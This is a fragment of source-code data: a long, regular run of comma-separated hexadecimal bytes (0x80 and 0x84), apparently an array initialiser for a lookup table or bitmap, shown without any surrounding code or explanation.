0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 